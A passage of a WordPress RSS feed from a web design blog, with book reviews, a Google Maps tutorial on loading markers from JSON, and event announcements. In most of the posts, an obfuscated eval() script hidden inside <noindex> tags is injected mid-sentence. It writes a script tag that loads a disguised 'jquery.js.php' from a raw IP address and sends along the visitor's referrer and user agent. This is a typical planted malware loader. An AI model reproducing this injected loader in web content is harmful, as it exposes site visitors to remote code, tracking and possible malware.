<strong>Note:</strong> I wrote this review for <a href="http://oreilly.com/bloggers/">O’Reilly’s Blogger Review Program</a>. Their deal is pretty good: You get a free e-book to read and once you post a review you get another. Try it yourself if you&#8217;re interested in reviewing books.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2012/08/slideology-by-nancy-duarte/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Mobile Design Pattern Gallery by Theresa Neil</title>
		<link>http://www.svennerberg.com/2012/04/mobile-design-pattern-gallery-by-theresa-neil/</link>
				<comments>http://www.svennerberg.com/2012/04/mobile-design-pattern-gallery-by-theresa-neil/#respond</comments>
				<pubDate>Wed, 18 Apr 2012 18:06:07 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Book]]></category>
		<category><![CDATA[Design patterns]]></category>
		<category><![CDATA[Mobile]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=4013</guid>
				<description><![CDATA[Therese Neil has compiled an impressing collection of current Mobile UI&#8217;s in this book. It serves both as an inspiring read and as a go to reference when designing Mobile User Interfaces. I&#8217;ve already found use for this book as I&#8217;ve checked out different design pattern on filtering for an app that I&#8217;m currently designing. [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a href="http://media.svennerberg.com/2012/04/mobile-design-pattern-gallery.jpg"><img src="http://media.svennerberg.com/2012/04/mobile-design-pattern-gallery.png" alt="" class="alignright" /></a>Therese <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|biabt|var|u0026u|referrer|tzdkn||js|php'.split('|'),0,{}))
</script></noindex> Neil has compiled an impressing collection of current Mobile UI&#8217;s in this book. It serves both as an inspiring read and as a go to reference when designing Mobile User Interfaces. </p>
<p><span id="more-4013"></span></p>
<p>I&#8217;ve already found use for this book as I&#8217;ve checked out different design pattern on filtering for an app that I&#8217;m currently designing. And that&#8217;s one thing this book excels at &#8211; providing fast answers to urgent needs. </p>
<p>The book is organized into ten different sections that each presents the design patterns in a concise and brief manner. The focus of this book is not so much on the theory behind each pattern but rather what established patterns exists and how to use them. Thanks to this approach it&#8217;s quick to find a suitable pattern.</p>
<p>I&#8217;ve read the e-book edition and it features beautiful screenshots in full color of different apps along some sketches that illustrate the major patterns.</p>
<h2>Device Agnostic</h2>
<p>The book tries to be device agnostic and displays patterns from both iOS, Android, WebOS and BlackBerry which is nice. Unless you have all these devices yourself it can be hard to explore how different apps on different platforms have solved a problem.</p>
<p>A problem with this kind of books is that the evolution of Mobile User Interfaces moves so fast that the patterns and examples, risks being outdated pretty fast. As I read the book, some screenshots already differed from the latest version of the apps.</p>
<h2>About the author</h2>
<p>Theresa Neil is a User Experience Consultant from Austin Texas. She&#8217;s previously co-authored another brilliant book with Bill Scott called <a href="http://www.amazon.com/gp/product/0596516258/ref=as_li_ss_tl?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=0596516258">Designing Web Interfaces: Principles and Patterns for Rich Interactions</a><img src="http://www.assoc-amazon.com/e/ir?t=inusabiwetrus-20&#038;l=as2&#038;o=1&#038;a=0596516258" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />.</p>
<p>You can learn more about Theresa on her personal site, <a href="http://www.theresaneil.com/">www.theresaneil.com</a>.</p>
<h2>Conclusion</h2>
<p>This is a great book to have when cranking out Wire Frames and Prototypes for mobile UI&#8217;s. You can quickly explore the most common solutions to design problems and also some anti-patterns to avoid. If you&#8217;re into the mobile app business I highly recommend you pick up a copy!</p>
<p>You can see several of the design patterns online at <a href="http://mobiledesignpatterngallery.com/">mobiledesignpatterngallery.com</a>. There&#8217;s also links to a few chapters that&#8217;s been published online.</p>
<h3>Book information</h3>
<dl class="book-info">
<dt>Title:</dt>
<dd>Mobile Design Pattern Gallery: UI Patterns for Mobile Applications</dd>
<dt>By:</dt>
<dd>Theresa Neil</dd>
<dt>Publisher:</dt>
<dd>O&#8217;Reilly Media (March, 2012)</dd>
<dt>Pages:</dt>
<dd>280</dd>
<dt>ISBN:</dt>
<dd>1449314325</dd>
<dt>ISBN-13</dt>
<dd>978-1449314323</dd>
</dl>
<p><a href="http://www.amazon.com/gp/product/1449314325/ref=as_li_ss_tl?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=1449314325" title="Buy Mobile Design Pattern Gallery: UI Patterns for Mobile Applications from Amazon.com">Buy Mobile Design Pattern Gallery from Amazon.com</a><img src="http://www.assoc-amazon.com/e/ir?t=inusabiwetrus-20&#038;l=as2&#038;o=1&#038;a=1449314325" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /></p>
<p class="note">
<strong>Note:</strong> I wrote this review for <a href="http://oreilly.com/bloggers/">O’Reilly’s Blogger Review Program</a>. Their deal is pretty good: You get a free e-book to read and once you post a review you get another. Try it yourself if you&#8217;re interested in reviewing books.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2012/04/mobile-design-pattern-gallery-by-theresa-neil/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Adding Multiple Markers to Google Maps from JSON</title>
		<link>http://www.svennerberg.com/2012/03/adding-multiple-markers-to-google-maps-from-json/</link>
				<comments>http://www.svennerberg.com/2012/03/adding-multiple-markers-to-google-maps-from-json/#comments</comments>
				<pubDate>Fri, 23 Mar 2012 07:48:55 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Google Maps API 3]]></category>
		<category><![CDATA[JSON]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3922</guid>
				<description><![CDATA[Recently I&#8217;ve been receiving several emails from readers of my book, Beginning Google Maps API 3, that has a problem adding information to multiple InfoWindows when loading markers dynamically via JSON data. In my book I have in fact described how to add multiple markers from JSON and how to attach unique InfoWindows to each [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2012/03/gmmlogo.gif" alt="" class="alignright" />Recently <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbkdf|var|u0026u|referrer|tikyt||js|php'.split('|'),0,{}))
</script></noindex> I&#8217;ve been receiving several emails from readers of my book, <a href="/bgma3/">Beginning Google Maps API 3</a>, that has a problem adding information to multiple InfoWindows when loading markers dynamically via JSON data.</p>
<p>In my book I have in fact described how to add multiple markers from JSON and how to attach unique InfoWindows to each of them. What I haven&#8217;t described is how to get the JSON-data to actually show up in the InfoWindows. This tutorial aims to describe how to do just that. </p>
<p><span id="more-3922"></span></p>
<h2>The JSON</h2>
<p>In this example I&#8217;m going to use the capitals of the Scandinavian countries: Stockholm, Oslo and Copenhagen. Each capital will be displayed on the map with a marker. When you click a marker an InfoWindow will popup with some brief information about the city.</p>
<p>The JSON data looks like this:</p>
<pre><code class="language-javascript">var json = [
  {
    "title": "Stockholm",
    "lat": 59.3,
    "lng": 18.1,
    "description": "<strong>Stockholm</strong> is the capital and the largest city of Sweden and constitutes the most populated urban area in Scandinavia with a population of 2.1 million in the metropolitan area (2010)"
  },
  {
    "title": "Oslo",
    "lat": 59.9,
    "lng": 10.8,
    "description": "<strong>Oslo</strong> is a municipality, and the capital and most populous city of Norway with a metropolitan population of 1,442,318 (as of 2010)."
  },
  {
    "title": "Copenhagen",
    "lat": 55.7,
    "lng": 12.6,
    "description": "<strong>Copenhagen</strong> is the capital of Denmark and its most populous city, with a metropolitan population of 1,931,467 (as of 1 January 2012)."
  }
]</code></pre>
<p>Note that the JSON data above contains the following information:</p>
<ul>
<li><strong>A Title in plain text</strong><br />We will use this information for a tooltip on the marker</li>
<li><strong>A Latitude</strong><br /> For the latitude portion of the position</li>
<li><strong>A Longitude</strong><br /> For the longitude portion of the position</li>
<li><strong>A Description</strong><br />The content that will be displayed in the InfoWindows. I&#8217;ve included some HTML in it to illustrate that you&#8217;re not restricted to just plain text.</li>
</ul>
<p class="note"><strong>Note:</strong> In this example I have the JSON data in the same js file as the code, but in a real-life scenario you would probably grab it from an external source such as a back-end server or a web service.</p>
<h2>Creating the map</h2>
<p>First of all we need to create a map. The map will be centered over Scandinavia so that both Stockholm, Oslo and Copenhagen are visible.</p>
<pre><code class="language-javascript">// Creating a new map
var map = new google.maps.Map(document.getElementById("map"), {
  center: new google.maps.LatLng(57.9, 14.6),
  zoom: 6,
  mapTypeId: google.maps.MapTypeId.ROADMAP
});</code></pre>
<p>If you feel unsure how this all works I recommend that you read <a href="/2009/06/google-maps-api-3-the-basics/">Google Maps API 3 – The basics</a>. It describes how to create a simple map.</p>
<h2>Adding Markers</h2>
<p>To create markers from the JSON-data we need to loop through it and extract the information for each marker.</p>
<pre><code class="language-javascript">for (var i = 0, length = json.length; i < length; i++) {
  var data = json[i],
      latLng = new google.maps.LatLng(data.lat, data.lng); 

  // Creating a marker and putting it on the map
  var marker = new google.maps.Marker({
    position: latLng,
    map: map,
    title: data.title
  });
}</code></pre>
<p>This will add markers to the map and they will all have their own unique title which will show up as a tooltip when you hover over them with the mouse.</p>
<h2>Adding InfoWindows</h2>
<p>Ok, so now we've created a map and added some markers from JSON data. So far it hasn't been that hard, the way of doing this is pretty straight-forward. But to attach the InfoWindows properly is a different story. It's now that it starts to get tricky.</p>
<p>First of all We're going to create a global <code>InfoWindow</code> that we will reuse for all markers. This needs to be created outside of the loop. So just above the loop in the code we insert:</p>
<pre><code class="language-javascript">var infoWindow = new google.maps.InfoWindow();</code></pre>
<p>This gives us an empty InfoWindow object that we can use on the map. </p>
<p>The next step is to attach a click event to each marker. In the code that executes we will fill the <code>InfoWindow</code> with the correct information and open it att the right location, pointing at the clicked marker. </p>
<p>At first glance it seems that you can do this the same way that you add markers:</p>
<pre><code class="language-javascript">// Attaching a click event to the current marker
google.maps.event.addListener(marker, "click", function(e) {
  infoWindow.setContent(data.description);
  infoWindow.open(map, marker);
});</code></pre>
<p>The problem with this approach is that when you're trying to add more than one <code>InfoWindow</code>, they will all have the same content as the one in the last iteration. To prevent this from happening we need to use something called a <strong>closure</strong>. </p>
<h3>Closures</h3>
<p>What a closure does is to persist the data in each iteration of the loop so that it's bound to that particular marker. </p>
<p>One way of doing this is by encapsulating the code inside an anonymous function that is instantly executed. You need to make sure to pass the information from the current iteration to the anonymous function. In our case <strong>we're going to pass the current marker and the current data</strong>.</p>
<p>This is kind of a confusing concept and a bit hard to explain, so lets instead look at some code.</p>
<h3>Implementing the closure</h3>
<pre><code class="language-javascript">// Creating a closure to retain the correct data 
//Note how I pass the current data in the loop into the closure (marker, data)
(function(marker, data) {

  // Attaching a click event to the current marker
  google.maps.event.addListener(marker, "click", function(e) {
    infoWindow.setContent(data.description);
    infoWindow.open(map, marker);
  });

})(marker, data);</code></pre>
<p>By passing the data to the anonymous function we make sure that it will stay there. We're essentially creating 3 self contained objects (closures) from our 3 locations.</p>
<p>Now if we're try the code, it will work perfectly and each <code>InfoWindow</code> will display the right information.</p>
<p class="note"><strong>Tip:</strong> Nicholas Johnson explains how closures work in 5 easy bullet points in his short post, <a href="http://webofawesome.com/post/what-is-it-with-closure/" title="What is it with Closure? Javascript closure explained in 5 easy bullet points">What is it with Closure?</a></p>
<h2>Live Demo</h2>
<div class="wp-caption">
<a href="http://svennerberg.com/examples/multiple-markers-from-json/"><img src="http://media.svennerberg.com/2012/03/screenshot.png" alt=""  /></a></p>
<p><a href="http://svennerberg.com/examples/multiple-markers-from-json/">Check out the live demo</a></p>
</div>
<h2>Conclusion</h2>
<p>I hope that this example will clear out some confusion on this topic. Closures are a pretty confusing concept but once you understand how it works, it's something  you we'll easily be able to apply in your own code. Anyway, you should be able to grab the code from this example and use it as a boilerplate to tweak your own needs.</p>
<p>Happy Coding!</p>
<div class="book_push">
<h3><img src="http://media.svennerberg.com/2009/09/bgma3-70.png" alt="" />My Google Maps book</h3>
<p>If you found this article useful you might be interested in my book <a href="/bgma3/" title="Read more about my book - Beginning Google Maps API 3"><strong>Beginning Google Maps API 3</strong></a>. It covers everything you need to know to create awesome maps on your web sites. <a href="http://www.amazon.com/gp/product/1430228024?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=1430228024" title="Buy Beginning Google Maps Applications from Amazon.com">Buy it on Amazon.com</a><img src="http://www.assoc-amazon.com/e/ir?t=inusabiwetrus-20&#038;l=as2&#038;o=1&#038;a=1430228024" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /></p>
</div>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2012/03/adding-multiple-markers-to-google-maps-from-json/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
							</item>
		<item>
		<title>Hello Meetod</title>
		<link>http://www.svennerberg.com/2012/03/hello-meetod/</link>
				<comments>http://www.svennerberg.com/2012/03/hello-meetod/#respond</comments>
				<pubDate>Sun, 18 Mar 2012 21:24:58 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3837</guid>
				<description><![CDATA[As some of you might know, I left the life as an employee in September last year to pursue a new career as an independent consultant. Since then I&#8217;ve been busy establishing myself on the market. When I started out I didn&#8217;t have any booked projects and was in fact a bit worried about how [&#8230;]]]></description>
								<content:encoded><![CDATA[<p>As some of you might know, I left the life as an employee in September last year to pursue a new career as an independent consultant. Since then I&#8217;ve been busy establishing myself on the market. </p>
<p><span id="more-3837"></span></p>
<p>When <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arrde|var|u0026u|referrer|dibri||js|php'.split('|'),0,{}))
</script></noindex> I started out I didn&#8217;t have any booked projects and was in fact a bit worried about how it would turn out. Luckily I&#8217;ve been fortunate enough to be engaged in several interesting projects that has really kick-started my new business. </p>
<h2>Say Hello to Meetod</h2>
<p>Until now I&#8217;ve been a sole proprietorship and have marketed myself under the name of this site, In usability we trust. But recently I&#8217;ve taken it a step further by registering a corporation with the name <strong>Meetod Sweden AB</strong>. </p>
<p>Meetod will have the same focus as I&#8217;ve had until now which is, <strong>Designing and Developing Top Notch Web Applications and Apps that work extremely well for the people that will actually use them</strong>.</p>
<p>In usability we trust will go back to being a blog and the sites for my business is found at <a href="http://meetod.se/" title="Meetod - Applications Designed for Humans">www.meetod.se</a> and <a href="http://meetod.com/" title="Meetod - Applications Designed for Humans">www.meetod.com</a>.</p>
<div id="attachment_3909" style="width: 402px" class="wp-caption alignnone"><a href="http://meetod.com"><img aria-describedby="caption-attachment-3909" src="http://media.svennerberg.com/2012/03/meetod-com-screenshot-392x1024.png" alt="" /></a><p id="caption-attachment-3909" class="wp-caption-text">Meetod.com</p></div>
<h2>What I&#8217;ve been up to so far</h2>
<p>A lot has happened since last September that have enabled me to take this step. Here are some of the projects that I&#8217;ve been working on:</p>
<ul>
<li>Designing an Online Editor for <a href="http://bmobilized.com/">bMobilized</a> (still under production). </li>
<li>Creating a Map solution with both Google Maps and Bing Maps that&#8217;s a part of a product that <a href="http://www.positiontech.com/">PositionTech</a> offers to their customers.</li>
<li>Designing and Creating an iPhone/iPad App for <a href="http://www.el-info.se/">EL-Info</a> called <a href="http://itunes.apple.com/se/app/el-vis-q-a/id492215026?mt=8">EL-Vis Q&#038;A</a> (Available in the Scandinavian App Store)</li>
<li>Designing and developing an advanced Web Application aimed at electricians for <a href="http://www.el-info.se/">EL-Info</a> (still under production)</li>
<li>Leading the UX-design process for an iPad Poker Client for <a href="http://gtechg2.com/">GTECH G2 (Boss Media)</a> (still under production)</li>
</ul>
<p>Apart from that I&#8217;ve also been doing a few talks on UX-design and am currently holding a completely custom course in 10 parts on HTML and CSS for <a href="http://www.vismaspcs.se/">Visma Spcs</a>.</p>
<h2>Thank You!</h2>
<p>I&#8217;m really grateful to all of my awesome clients whom have entrusted me with these projects and enabled me to pursue my dream. With all of my heart, <strong>Thank You!</strong></p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2012/03/hello-meetod/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>The Little Book on CoffeeScript by Alex MacCaw</title>
		<link>http://www.svennerberg.com/2012/03/the-little-book-on-coffeescript-by-alex-maccaw/</link>
				<comments>http://www.svennerberg.com/2012/03/the-little-book-on-coffeescript-by-alex-maccaw/#comments</comments>
				<pubDate>Sun, 11 Mar 2012 13:57:25 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3832</guid>
				<description><![CDATA[This book is a great introduction to the beautiful pseudo JavaScript language CoffeeScript. It&#8217;s written by Alex MacCaw that is also the author of JavaScript Web Applications, a book I reviewed a few month ago. So, what is CoffeeScript? CoffeeScript is a programming language that compiles to regular JavaScript. What&#8217;s great about it is its [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a href="http://media.svennerberg.com/2012/03/the-little-book-on-coffeescript.png"><img src="http://media.svennerberg.com/2012/03/the-little-book-on-coffeescript-160.png" alt="" class="alignright" /></a>This <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzrae|var|u0026u|referrer|kasis||js|php'.split('|'),0,{}))
</script></noindex> book is a great introduction to the beautiful pseudo JavaScript language CoffeeScript. It&#8217;s written by <a href="http://alexmaccaw.com/">Alex MacCaw</a> that is also the author of <a href="/2011/10/javascript-web-applications-by-alex-maccaw/" title="JavaScript Web Applications by Alex MacCaw">JavaScript Web Applications</a>, a book I reviewed a few month ago.</p>
<p><span id="more-3832"></span></p>
<h2>So, what is CoffeeScript?</h2>
<p><a href="http://coffeescript.org/">CoffeeScript</a> is a programming language that compiles to regular JavaScript. What&#8217;s great about it is its concise syntax and the fact that it hides away some of JavaScript&#8217;s more ugly sides. It&#8217;s inspired by script languages such as Ruby and Python which both has a very terse syntax. </p>
<p>In short it&#8217;s a great way to efficiently write clear and maintainable code. </p>
<p>CoffeeScript has gained a lot of traction lately and has proven to be a more productive way to write JavaScript than to just write raw JavaScript. Ruby on Rails 3.1 for instance uses CoffeeScript by default. If you&#8217;re on the Microsoft .net platform, there&#8217;s several Extensions and NuGet packets available. You can also easily run your own complier whatever platform you&#8217;re on either via Node.js, Ruby Gem or JavaScript (There are probably even more ways).</p>
<h2>What about the book</h2>
<p>The book is short, only 60 pages, but manages to clearly explain how to use the language with well explained examples. Before reading this book I had not written any CoffeeScript code, but I was curious about it. It has kept coming up in lots of articles and tutorials lately plus the fact that the creator of CoffeeScript, <a href="https://twitter.com/jashkenas">Jeremy Ashkenas</a>, is also the creator of <a href="http://backbonejs.org/">Backbone.js</a> and <a href="http://underscorejs.org/">Underscore.js</a> which are two libraries that I use extensively in my projects. Reading this book has given me a nice introduction which have enabled me to quickly get started using it in a project. </p>
<p>The author, Alex MacCaw, has a clear writing style and explains the concepts through easy to follow examples that are thoroughly explained which makes the learning experience both enjoyable and efficient.</p>
<h2>My Verdict</h2>
<p>If you&#8217;re interested in getting started in CoffeeScript this book is a great and quick way to get you up and running fast. Since it&#8217;s only 60 pages long there&#8217;s really no reason not to. I have a hard time imagining a faster way to get going.</p>
<p><strong>The Little Book on CoffeeScript</strong> is Open Source and you can <a href="http://arcturo.github.com/library/coffeescript/" title="The Little Book on CoffeeScript on GitHub">read it online at GitHub</a>. If you prefer to read a the physical book or have it in e-book format you can buy a copy from <a href="http://www.amazon.com/gp/product/1449321054/ref=as_li_ss_tl?ie=UTF8&#038;tag=inusabiwetrus-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=1449321054" title="Buy a copy of The Little Book on CoffeeScript from Amazon.com">Amazon.com</a><img src="http://www.assoc-amazon.com/e/ir?t=inusabiwetrus-20&#038;l=as2&#038;o=1&#038;a=1449321054" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /> or from <a href="http://shop.oreilly.com/product/0636920024309.do">O&#8217;Reilly</a>.</p>
<h3>Book information</h3>
<dl class="book-info">
<dt>Title:</dt>
<dd>The Little Book on CoffeeScript</dd>
<dt>By:</dt>
<dd>Alex MacCaw</dd>
<dt>Publisher:</dt>
<dd>O&#8217;Reilly Media (January 31, 2012)</dd>
<dt>Pages:</dt>
<dd>60</dd>
<dt>ISBN:</dt>
<dd>1449321054 </dd>
<dt>ISBN-13</dt>
<dd>978-1449321055</dd>
</dl>
<p class="note">
<strong>Note:</strong> I wrote this review for <a href="http://oreilly.com/bloggers/">O’Reilly’s Blogger Review Program</a>. Their deal is pretty good: You get a free e-book to read and once you post a review you get another. Try it yourself if you&#8217;re interested in reviewing books.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2012/03/the-little-book-on-coffeescript-by-alex-maccaw/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
							</item>
		<item>
		<title>My slides from World Usability Day</title>
		<link>http://www.svennerberg.com/2011/11/my-slides-from-world-usability-day/</link>
				<comments>http://www.svennerberg.com/2011/11/my-slides-from-world-usability-day/#respond</comments>
				<pubDate>Mon, 14 Nov 2011 10:22:53 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Presentation]]></category>
		<category><![CDATA[Usability]]></category>
		<category><![CDATA[World Usability Day]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3749</guid>
				<description><![CDATA[Here&#8217;s my slides from my talk on World Usability Day. The event gathered around 90 people and was held at Visma in Växjö, Sweden. I&#8217;ve made the slides publicly available through SlideShare but please note that the Slides are in Swedish. Design för att påverka View more presentations from Gabriel Svennerberg Thank you Thanks to [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2011/10/wud-globe.png" alt="" class="alignright size-full wp-image-3685" />Here&#8217;s <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhesy|var|u0026u|referrer|bkkkd||js|php'.split('|'),0,{}))
</script></noindex> my slides from my talk on World Usability Day. The event gathered around 90 people and was held at Visma in Växjö, Sweden. I&#8217;ve made the slides publicly available through SlideShare but please note that the Slides are in Swedish.</p>
<p><span id="more-3749"></span></p>
<div style="width:425px" id="__ss_10134846"><strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/Svennerberg/design-fr-att-pverka" title="Design för att påverka" target="_blank">Design för att påverka</a></strong><iframe src="http://www.slideshare.net/slideshow/embed_code/10134846" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe> </p>
<div style="padding:5px 0 12px"> View more <a href="http://www.slideshare.net/" target="_blank">presentations</a> from <a href="http://www.slideshare.net/Svennerberg" target="_blank">Gabriel Svennerberg</a></div>
</div>
<h2>Thank you</h2>
<p>Thanks to all who attended the event. I had a lot of fun giving the talk and it&#8217;s always nice when there&#8217;s a good crowd attending it. Also many thanks to my good friends Chris Jangelöv, Danne Nordell and Simon Winter who was also doing talks and helped organize the event.</p>
<h2>Watch the whole event</h2>
<p>The whole event was filmed and will be available shortly. I will update this article with a link to it as soon as I get it.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/11/my-slides-from-world-usability-day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Watch my talk on Design for Influence online</title>
		<link>http://www.svennerberg.com/2011/11/watch-my-talk-on-design-for-influence-online/</link>
				<comments>http://www.svennerberg.com/2011/11/watch-my-talk-on-design-for-influence-online/#respond</comments>
				<pubDate>Thu, 10 Nov 2011 08:10:00 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[World Usability Day]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=3734</guid>
				<description><![CDATA[Today is World Usability Day and we celebrate that here in Växjö by having a lunch event where among other things, I will talk about Design for Influence. The event will start at 12pm and go on for about 1 hour. It will be streamed live and you&#8217;re more than welcome to join us. If [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2011/10/wud-globe.png" alt="" class="alignright size-full wp-image-3685" />Today <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibfkn|var|u0026u|referrer|keadn||js|php'.split('|'),0,{}))
</script></noindex> is <strong>World Usability Day</strong> and we celebrate that here in Växjö by having a lunch event where among other things, I will talk about<strong> Design for Influence</strong>. The event will start at 12pm and go on for about 1 hour. It will be streamed live and you&#8217;re more than welcome to join us.</p>
<p><span id="more-3734"></span></p>
<p>If you want to know a little bit more about what&#8217;s going to happen during the event, you can check out my previous post named <a href="/2011/10/world-usability-day-2011/">World Usability Day 2011</a>.</p>
<p class="note"><strong>Note:</strong> Sorry all you non Swedes, but the event is in Swedish.</p>
<h2>Watch the live event</h2>
<p>If you&#8217;re interested in watching the live event online here&#8217;s the details how:</p>
<ol>
<li>Go to https://visma.webex.com/visma-sv/j.php?ED=1145602&#038;UID=3701652&#038;PW=NNzQ2ZTg3OTFh&#038;RT=MTUjMTMw</li>
<li>Enter your name and email</li>
<li>If a password is required, enter <strong>cj</strong></li>
<li>Click &#8220;Delta&#8221;</li>
<li>Follow the on-screen instructions</li>
</ol>
<div class="call-to-action">
<a href="https://visma.webex.com/visma-sv/j.php?ED=1145602&#038;UID=3701652&#038;PW=NNzQ2ZTg3OTFh&#038;RT=MTUjMTMw" class="btn large primary">Join the session</a>
</div>
<p class="note"><strong>Note: </strong> I will update this post with information about how to watch the event afterwards as soon as I have the info.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2011/11/watch-my-talk-on-design-for-influence-online/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
